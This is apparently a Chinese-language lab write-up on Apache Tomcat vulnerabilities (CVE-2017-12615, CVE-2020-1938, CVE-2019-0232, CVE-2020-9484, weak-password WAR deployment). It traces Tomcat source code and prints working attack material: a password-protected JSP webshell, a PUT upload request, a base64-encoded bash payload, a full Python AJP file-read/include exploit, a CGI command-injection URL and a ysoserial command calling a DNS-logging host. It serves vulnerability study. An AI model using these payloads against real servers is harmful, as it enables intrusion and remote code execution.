Tomcat系列

简介

Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。Tomcat 很受广大程序员的喜欢,因为它运行时占用的系统资源小,扩展性好,支持负载平衡与邮件服务等开发应用系统常用的功能。

环境下载:
https://archive.apache.org/dist/tomcat/

CVE-2017-12615(任意文件写入)

影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat 8.5.19

环境搭建:这里使用的是vulhub的环境,其中的conf/web.xml如下:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

这里的readonly设置为false,这是漏洞产生的主要原因之一

readonly 的作用是限制对部署在该 Tomcat 实例上的 Web 应用程序文件的修改操作。当设置为 true 时,表示该 Tomcat 实例处于只读模式,禁止对部署的 Web 应用程序进行修改或删除操作。

漏洞涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,同时 DefaultServlet 可以处理 PUT 或 DELETE 请求,以下是默认配置情况:

<!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

即使设置readonly为false,默认tomcat也不允许PUT上传jsp和jspx文件的,因为后端都用org.apache.jasper.servlet.JspServlet来处理jsp或是jspx后缀的请求了,而JspServlet中没有PUT上传的逻辑,只允许GET POST HEAD, PUT的代码实现只存在于DefaultServlet中。

这个漏洞的根本是通过构造特殊后缀名,绕过了tomcat检测,让它用DefaultServlet的逻辑去处理请求,从而上传jsp文件。

目前主要有以下方法:

  • test.jsp::$DATA —–>适用于windows环境
  • test.jsp/ —–>适用于linux环境
  • test.jsp%20 —–>适用于windows环境

利用这两种姿势PUT请求tomcat的时候,骗过tomcat而进入DefaultServlet处理的逻辑。

调试分析

假设test.jsp存在,内容随机

当PUT请求路径为/test.jsp时,进入的是JspServlet

image-20230816104540342

PUT请求路径为/test.jsp时,进入的是DefaultServlet

先是来到javax.servlet.http.HttpServlet#service(), 这里会根据请求方法调用不同的方法处理,这里调用的是doPut

image-20230816111030439

然后就来到了DefaultServlet的doPut方法

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (this.readOnly) {
        resp.sendError(403);
    } else {
        String path = this.getRelativePath(req);
        WebResource resource = this.resources.getResource(path);
        Range range = this.parseContentRange(req, resp);
        InputStream resourceInputStream = null;

        try {
            if (range != null) {
                File contentFile = this.executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            } else {
                resourceInputStream = req.getInputStream();
            }

            if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                if (resource.exists()) {
                    resp.setStatus(204);
                } else {
                    resp.setStatus(201);
                }
            } else {
                resp.sendError(409);
            }
        } finally {
            if (resourceInputStream != null) {
                try {
                    ((InputStream)resourceInputStream).close();
                } catch (IOException var13) {
                }
            }

        }

    }
}

开头就先判断readOnly是否开启,如果为true,则返回状态码403,根据web.xml设置,这里是false

然后通过getRelativePath(req)获取请求路径/test.jsp/

然后在this.resources.write(path, (InputStream)resourceInputStream, true)进行内容写入,将请求中的输入流保存到指定的资源文件中,也就是test.jsp

  • 如果写入操作成功,则进入第一个分支条件。
    • 如果被写入的资源文件存在,表示更新已有资源,则设置响应状态码为 204(No Content)。
    • 如果被写入的资源文件不存在,表示创建新的资源,则设置响应状态码为 201(Created)。
  • 如果写入操作失败,则进入第二个分支条件,使用 resp.sendError(409) 发送一个状态码为 409(Conflict)的错误响应

跟进this.resources.write

public boolean write(String path, InputStream is, boolean overwrite) {
    path = this.validate(path);
    if (!overwrite && this.preResourceExists(path)) {
        return false;
    } else {
        boolean writeResult = this.main.write(path, is, overwrite);
        if (writeResult && this.isCachingAllowed()) {
            this.cache.removeCacheEntry(path);
        }

        return writeResult;
    }
}

这里调用 this.main.write(path, is, overwrite) 方法执行实际的写入操作,并将写入结果保存在 writeResult 变量中

继续跟进这个write方法

image-20230816113727208

经过前面的检查和处理后,使用Files.copy将内容写入文件

image-20230816113947395

后面利用就是写jsp马getshell了

PUT /test.jsp/ HTTP/1.1
Host: 192.168.79.144:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 662

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

访问/test.jsp?pwd=123&cmd=id

综上,漏洞利用的两个要点,1. readonly 2.文件名绕过

CVE-2020-1938(文件包含)

漏洞影响范围:

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

Tomcat根据默认配置(conf/server.xml)启动两个连接器:

一个是HTTP Connector默认监听8080端口处理HTTP请求

image-20230817095141100

一个AJP connector默认8009端口处理AJP请求,也就是AJP协议端口

image-20230817095151945

漏洞出现在通过设置AJP请求属性,可控制AJP连接器封装的request对象的属性,最终导致文件包含可以任意文件读取和代码执行。

为了能够调试运行,先解决如何发起一个AJP请求

这里使用的是AJPy 这个python库 https://github.com/hypn0s/AJPy

tomcat使用org.apache.coyote.ajp.AjpProcessor这个类来处理AJP请求

org.apache.coyote.ajp.AjpProcessor这里的service方法中 会调用一个prepareRequest()方法

image-20230817120336335

在这个方法里面可以对request对象的Attribute属性进行赋值,键值都可控

image-20230817141739603

任意文件读取

Attribute属性赋值后,如果请求路径不含jsp或jspx,会来到org.apache.catalina.servlets.DefaultServlet的doGet方法

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
    this.serveResource(request, response, true, this.fileEncoding);
}

跟进serveResource

image-20230817142815183

这里调用了一个getRelativePath方法获取路径path,跟进查看这个路径是如何获取的

image-20230817143236344

首先取出request对象的Attribute属性中的javax.servlet.include.request_uri,查看对应值是否为null ,如果不为空则继续获取

javax.servlet.include.path_info
javax.servlet.include.servlet_path

这两个的值,保存到pathInfo和servletPath , 这三个的值可以通过上面的prepareRequest()控制

image-20230817141739603

往下就是拼接路径并返回得到的路径

StringBuilder result = new StringBuilder();
if (servletPath.length() > 0) {
    result.append(servletPath);
}

if (pathInfo != null) {
    result.append(pathInfo);
}

if (result.length() == 0 && !allowEmptyPath) {
    result.append('/');
}

return result.toString();

得到自定义的路径之后,通过this.resources.getResource(path)获取到了path对应的资源对象

image-20230817144859668

在这个getResource里面会调用org.apache.tomcat.util.http.RequestUtil的normalize方法

image-20230817163632280

在这里会对path路径进行一些处理,如果存在./../则会返回null,最终会抛出一个非法路径的异常终止文件读取操作。

然后资源对象的内容随着resourceBody被写入了ostream流对象中返回给客户端。

image-20230817145453578

综上所述,可以通过AJP协议控制

javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path

的值即可读取tomcat/webapps/下的任意文件

本地文件包含

如果请求路径存在.jsp或.jspx

经过org.apache.coyote.ajp.AjpProcessor处理后会使用org.apache.jasper.servlet.JspServlet来处理请求

image-20230817180038922

这里也是进行了路径拼接,也是通过获取javax.servlet.include.servlet_path和javax.servlet.include.path_info拼接,得到/1.txt

往下会执行到serviceJspFile()

image-20230817180222477

跟进这个方法

image-20230817180711744

由我们控制的jspuri被封装成了一个JspServletWrapper添加到了Jsp运行上下文JspRuntimeContext中.最后wrapper.service()会将1.txt里面的内容编译,生成.java和.class 并执行

例如通过文件上传,上传1.txt到了webapps/ROOT/下

txt里面的内容如下,就下执行命令cat /etc/passwd > pwn.txt

<%
    Runtime.getRuntime().exec("bash -c {echo,Y2F0IC9ldGMvcGFzc3dkID4gcHduLnR4dA==}|{base64,-d}|{bash,-i}");
%>

然后触发漏洞后会执行命令生成了pwn.txt,在/usr/local/tomcat/目录下,而且还发现

/work/Catalina/localhost/ROOT/org/apache/jsp/_1_txt.java

image-20230817200511784

这个文件就包含了txt里面的内容

使用AJPy 这个python库 https://github.com/hypn0s/AJPy写POC , 作者已经写好了,改改就能用

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from termcolor import *
from urllib.parse import urlparse
import socket
import argparse
import threading
import traceback
# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr

class Tomcat(object):

    def __init__(self, target_host, target_port=8009):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb")

    def perform_request(self, req_uri, headers={}, method='GET', attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(
            self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]

        return snd_hdrs_res, data_res

def readFile(host, port, webapp, filepath):
    bf = Tomcat(host, port);
    attributes = [
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.request_uri",
                "/",)
        },
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.path_info",
                filepath,)
        },
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.servlet_path",
                "/",)
        },
    ]
    try:
        hdrs, data = bf.perform_request("/" + webapp + "/xxxx", attributes=attributes)
    except:
        print(colored('read error!', 'red'))
        return False
    for i in data:
        print(colored(i.data.decode('utf-8'), 'green'))
        if (data is None or hdrs.http_status_code != 200):
            print(colored('read error!', 'red'))


def LocalFileInclude(host, port, webapp, filepath):
    bf = Tomcat(host, port);
    attributes = [
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.request_uri",
                "/",)
        },
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.path_info",
                filepath,)
        },
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.servlet_path",
                "/",)
        },
    ]
    try:
        hdrs, data = bf.perform_request("/" + webapp + "/xxxx.jsp", attributes=attributes)
    except:
        print(colored('read error!', 'red'))
        return False
    for i in data:
        print(colored(i.data.decode('utf-8'), 'green'))
        if (data is None or hdrs.http_status_code != 200):
            print(colored('read error!', 'red'))
if __name__ == "__main__":
    LocalFileInclude("127.0.0.1",8009, "ROOT", "1.txt")
    # readFile("127.0.0.1",8009, "ROOT", "1.txt")

弱口令&war远程部署

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限

Tomcat7+权限分为:

  • manager(后台管理)
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

image-20230818091812307

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

点击Manager App进行登录

image-20230818092244004

登录后成功来到后台管理处

找到上传点上传木马

image-20230818092640455

这里要求上传的是WAR文件,其本质上是个压缩包

写个shell.jsp ,压缩成zip后将扩展名修改为war

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

image-20230818093200162

上传成功

image-20230818093255540

访问木马所在的目录

http://192.168.79.147:8080/shell/shell.jsp?pwd=123&&cmd=id

image-20230818093502935

CVE-2019-0232(远程代码执行)

影响范围

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

条件:

该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。

该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。

环境搭建

这里使用的是tomcat 9.0.10 + jdk 17

首先进行CGI相关的配置,在 conf/web.xml 中启用CGIServlet:

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>enableCmdLineArguments</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

这里主要的设置是 enableCmdLineArgumentsexecutable 两个选项。 enableCmdLineArguments 启用后才会将Url中的参数传递到命令行, executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。

同样在 conf/web.xml 中启用cgi的servlet-mapping

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

之后修改 conf/context.xml<Context> 添加 privileged="true"属性,否则会没有权限

<Context privileged="true">

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

然后在 ROOT\WEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个 1.bat 文件,内容随意,例如echo 1

配置完成后,启动tomcat,访问 http://127.0.0.1:8080/cgi-bin/1.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig.exe ,可以看到命令执行成功

image-20230818113348655

注意: &后面执行的命令要使用绝对路径(这里要url编码),如果命令有参数,使用+号代替空格 —–后面有解释

调试分析

这请求会在org.apache.catalina.servlets.CGIServlet这个Servlet处理,

因为是get的请求,所有会调用doGet(), 在这个方法中先new一个CGIEnvironment对象

image-20230818163132849

跟进构造方法

protected CGIEnvironment(HttpServletRequest req, ServletContext context) throws IOException {
    this.setupFromContext(context);
    this.setupFromRequest(req);
    this.valid = this.setCGIEnvironment(req);
    if (this.valid) {
        this.workingDirectory = new File(this.command.substring(0, this.command.lastIndexOf(File.separator)));
    } else {
        this.workingDirectory = null;
    }

}

第二行调用了setupFromRequest()方法,跟进

image-20230818163755929

这里又看到了javax.servlet.include.*, 估计可以使用AJP协议来利用这个漏洞,但没必要这么麻烦,这里走的是else的分支

image-20230818164046704

往下很重要

if (CGIServlet.this.enableCmdLineArguments && (req.getMethod().equals("GET") || req.getMethod().equals("POST") || req.getMethod().equals("HEAD"))) {
    String qs;
    if (isIncluded) {
        qs = (String)req.getAttribute("javax.servlet.include.query_string");
    } else {
        qs = req.getQueryString();
    }

    if (qs != null && qs.indexOf(61) == -1) {
        StringTokenizer qsTokens = new StringTokenizer(qs, "+");

        while(qsTokens.hasMoreTokens()) {
            this.cmdLineParameters.add(URLDecoder.decode(qsTokens.nextToken(), CGIServlet.this.parameterEncoding));
        }
    }
}

首先检查是否开启了enableCmdLineArguments,这个在搭建环境的时候在web.xml开启了 ,然后查看请求方法是否为GET/POST/HEAD

如果满足条件进入if语句

进入if后,通过qs = req.getQueryString()给qs赋值赋值,这个qs是获取get方法的请求参数,就是?后面的所有东西

qs = &C%3A%5CWindows%5CSystem32%5Ccalc.exe

往下又一个if语句,这里判断的是qs是否不为空并且qs里面不能存在=号,满足条件进入if语句 ,创建StringTokenizer对象,通过+号来分割出命令和参数,然后urldecode后添加到cmdLineParameters这个数组对象中

返回到doGet方法进入if语句

image-20230818170340103

先new一个CGIRunner对象

protected CGIRunner(String command, Hashtable<String, String> env, File wd, ArrayList<String> params) {
    this.command = command;
    this.env = env;
    this.wd = wd;
    this.params = params;
    this.updateReadyStatus();
}

在这里设置了执行的命令,参数,环境,和运行目录

image-20230818171213829

往下执行cgi.run(),跟进

image-20230818171540581

这里会判断command中是否存在\.\或者\....\ ,如果不存在则进入if语句

往下就是构造号参数,执行命令

image-20230818171931833

image-20230818172052777

public Process exec(String[] cmdarray,String[] envp,File dir)—-在指定环境和工作目录的独立进程中执行指定的命令和变量

因为这里指定了环境,在指定的环境中没又系统环境变量,不能执行执行calc ,要使用这个命令的文件绝对路径

这里的&就相当于命令拼接,也可以使用&&|

为什么这个漏洞只能在windows系统实现,参考https://xz.aliyun.com/t/4875#toc-1

总的来说就行命令执行底层的实现不一样,

manager App暴力破解

访问后台登录页/manager/html,输入账号密码抓包

image-20230818180539189

base64解密发现是账号密码

image-20230818180626306

然后就可以根据这个规则进行爆破账号密码了

CVE-2020-9484(session反序列化漏洞)

影响版本:

  • Apache Tomcat 10.0.0-M1—10.0.0-M4

  • Apache Tomcat 9.0.0.M1—9.0.34

  • Apache Tomcat 8.5.0—8.5.54

  • Apache Tomcat 7.0.0—7.0.103

环境搭建:

修改tomcat路径conf目录下的context.xml 在<Context>标签内加入以下配置

<Manager className="org.apache.catalina.session.PersistentManager" 
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1">
      <Store className="org.apache.catalina.session.FileStore"/>
  </Manager>

为了方便burp抓包,修改server.xml端口为80

漏洞代码如下:

org.apache.catalina.session.FileStore

image-20230821112724329

这里对file的内容进行了反序列化,file是由参数id确定的,而id是Cookie中的JSESSIONID,即tomcat的sessionid

设置Cookie 调试

Cookie: JSESSIONID=aaa

image-20230821113910805

可以看到id=aaa,跟进这个file()

image-20230821114049416

这里获取文件名,文件名是id拼接了.session

返回的文件路径是拼接的,在当前路径ROOT下拼接文件名,这里可以目录穿越

返回后还要检查文件是否存在,才能进行后面的反序列化操作

if (file != null && file.exists()) {
    Context context = this.getManager().getContext();
    Log contextLog = context.getLogger();
    ...

思路是找到利用链,生成序列化后的文件为xxx.session文件,然后通过JSESSIONID指定路径进行反序列化触发利用链

利用链的寻找要根据具体的情况来定,这里使用URLDNS这条链来测试,直接利用ysoserial生成

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://3ceda1c3.dnslog.click." > test.session

然后将test.session放到\work\Catalina\localhost\temp\sessions下,ROOT和temp是同级目录

然后设置Cookie

JSESSIONID=../temp/sessions/test

image-20230821120512968

获取到正确路径进入if语句执行了反序列化

image-20230821120700453

结果如下:

image-20230821120801201

URLDNS利用链被利用说明存在反序列化漏洞

修复:在 java/org/apache/catalina/session/FileStore.java 中判断了目录是否有效

image.png

总结:

利用难度大,不是默认配置,需要手动修改配置,还有文件后缀为.session ,还需要执行.session文件路径